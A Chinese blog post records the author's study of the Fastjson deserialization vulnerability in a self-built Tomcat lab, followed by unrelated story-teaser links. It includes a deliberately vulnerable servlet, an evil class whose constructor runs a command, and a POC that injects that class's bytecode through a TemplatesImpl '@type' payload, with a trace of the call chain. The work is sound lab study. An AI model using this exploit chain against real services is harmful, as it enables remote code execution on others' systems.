Fastjson漏洞学习

近期暴露了阿里的Fastjson反序列漏洞,作为一个安全小白,在网上搜索了很多大神书写的资料学习,并通过搭建环境的方式进行实践加深理解,在此记录学习过程。

1. 环境搭建

  Fastjson为Java语言编写,因此为了实践,首先需要搭建一个使用Fastjson的Web服务,此处选择使用Tomcat方式部署Web,因此先安装Tomcat。

1.1Tomcat安装

  Tomcat依赖Java,首先查看Java版本,本机版本为JDK1.8,满足Tomcat7.0版本要求。


前往Tomcat官网https://tomcat.apache.org/download-70.cgi根据操作系统版本下载对应的Tomcat。

  将下载的Tomcat放到安装目录下解压,此处选择为/opt目录,如下图:

Tomcat的目录结构如下:



修改环境变量



image.png

此时Tomcat安装完成,可以启动Tomcat。

测试Tomcat是否成功启动


1.2 Eclipse配置Tomcat服务器

  在Eclipse的菜单中选择"Windows"-->"Preferences"-->"Server"-->"Runtime Environments"

选择添加所安装的对应的Tomcat版本,此处为Tomcat7。



创建完成后如下


1.3 书写简单的Demo环境

  书写简单的代码,接收客户端提交的JSON字符串,并使用Fastjson进行解析。
IndexServlet.java

package fastt;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import com.alibaba.fastjson.JSON;

class Person {
    private int age;
    public String username;
    private String hobby;
    
    public Person() {
        
    }
    
    public Person(int age, String username, String hobby){
        this.age = age;
        this.username = username;
        this.hobby = hobby;
    }
    
    public int getAge(){
        return this.age;
    }
    public void setAge(int age){
        this.age = age;
    }
    public String getUsername(){
        return this.username;
    }
    public void setUsername(String username){
        this.username = username;
    }
    public String getHobby(){
        return this.hobby;
    }
    public void setHobby(String hobby){
        this.hobby = hobby;
    }
}
@WebServlet("/IndexServlet")
public class IndexServlet extends HttpServlet{
    
    /**
     * 
     */
    private static final long serialVersionUID = 1L;

    public IndexServlet() {
        super();
    }
    public void destroy() {
        super.destroy();
    }
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
        
    }
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
        String json_string = request.getParameter("json_string");
        System.out.println(json_string);
        Person p = JSON.parseObject(json_string, Person.class);
        PrintWriter writer = response.getWriter();
        String htmlRespone = "<html>";
        htmlRespone += "<h2>Your input is: <br/>";
        htmlRespone += "user name: " + p.getUsername() + "<br/>";
        htmlRespone += "age: " + p.getAge() + "<br/>";
        htmlRespone += "hobby: " + p.getHobby() + "<br/>";
        htmlRespone += "</html>";
        writer.println(htmlRespone);
    }
}

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>welcome hahaha</title>
</head>
<body>
    welcome, eclipse deploy tomcat
    <form action="IndexServlet" method="post">
        Input: <input type="text" name="json_string"><br>
        <input type="submit" value="submit">
    </form>
</body>
</html>
  在Eclipse中启动Tomcat

通过浏览器访问并提交json字符串



结果如下



到此我们的环境已经成功搭建。

2. Fastjson漏洞测试

在附录参考文档中,学习了Fastjson漏洞的知识,根据前人的经验,构造POC测试代码。

import java.io.IOException;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class User extends AbstractTranslet{
    public String username;
    public String password;
    public User() throws IOException{
        Runtime.getRuntime().exec("gnome-calculator");
    }
    /*
    public String getUsername() {
        return this.username;
    }
    public void setUsername(String username) {
        this.username = username;
    }
    public String getPassword() {
        return this.password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    */
    public static void main(String[] args) {
        /*
        User user = new User();
        user.setUsername("admin");
        user.setPassword("123456");
        
        String entry1 = JSON.toJSONString(user);
        System.out.println(entry1);
        
        String entry2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
        System.out.println(entry2);
        */
        String jsonString = "{\"@type\":\"fastt.User\",\"password\":\"123456\",\"username\":\"admin\"}";
        Object user = JSON.parseObject(jsonString);
        System.out.println(user);
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        // TODO Auto-generated method stub
        
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
        // TODO Auto-generated method stub
        
    }
}

其中该User类继承自AbstractTranslet类,后面可看到原因。
直接运行该代码,Fastjson在解析json的时候会调用默认构造函数,此时会弹出计算器。


将User的class文件保存到本地,此处保存在/home/hadoop/Downloads/路径下,构造Payload的代码如下:

public class POC {
    public static String readClass(String cls) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)),bos);
        }catch(IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = "/home/hadoop/Downloads/User.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);

        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到_bytecodes字段的value即是User.class的内容。@type为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

此处贴出TemplateImpl类的重要函数代码

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);
    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }
    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
            if (_class == null) defineTransletClasses();
            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }
            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

private void defineTransletClasses()
        throws TransformerConfigurationException {
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

处理Post请求的代码

public class IndexServlet extends HttpServlet{
    
    /**
     * 
     */
    private static final long serialVersionUID = 1L;

    public IndexServlet() {
        super();
    }
    public void destroy() {
        super.destroy();
    }
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
        
    }
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
        String json_string = request.getParameter("json_string");
        System.out.println(json_string);
        //ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(json_string, Object.class, Feature.SupportNonPublicField);
        //JSONObject p = JSON.parseObject(json_string);
        PrintWriter writer = response.getWriter();
        String htmlRespone = "<html>";
        htmlRespone += "<h2>Your input is: <br/>";
        htmlRespone += "user name: " + obj.toString() + "<br/>";
        //htmlRespone += "age: " + p.get("age") + "<br/>";
        //htmlRespone += "hobby: " + p.get("hobby") + "<br/>";
        htmlRespone += "</html>";
        writer.println(htmlRespone);
    }

其中在使用JSON.parseObject函数时,使用了参数Feature.SupportNonPublicField,这是由于Fastjson默认只能解析public字段,而像本例中的_bytecode,_outputProperties等都是private属性的,因此需要配置此参数。
在客户端提交请求,并跟踪处理逻辑。



可以看到JSON.parseObject函数会解析json字符串。

根据@type字段获取到对应的类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl


使用JavaBean进行反序列化,使用JavaBean的deserialize方法。


调用smartMatch方法,本来Field是_outputProperties,使用smartMatch后转变为outputProperties。


可以看到fieldDeserializer的值已经是outputProperties。



调用deserialize方法



调用serValue方法


调用到TemplatesImpl类的getOutputProperties方法。



调用到TemplatesImpl类的getTransletInstance()方法


调用到TemplatesImpl类的defineTransletInstance()方法,在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例。此时可以看到返回的类会被强制转换成AbstractTranslet类,这也就是前面构造的User类需要继承自AbstractTranslet类的原因。



上图中的newInstace()方法,会调用User()的默认构造函数,从而执行默认构造函数中的Runtime.getRuntime().exec("gnome-calculator"),弹出计算器。



参考文档:

  1. https://www.freebuf.com/sectool/165655.html
  2. https://paper.seebug.org/292/
  3. https://www.freebuf.com/column/180711.html
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,463评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,868评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,213评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,666评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,759评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,725评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,716评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,484评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,928评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,233评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,393评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,073评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,718评论 3 324
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,308评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,538评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,338评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,260评论 2 352

推荐阅读更多精彩内容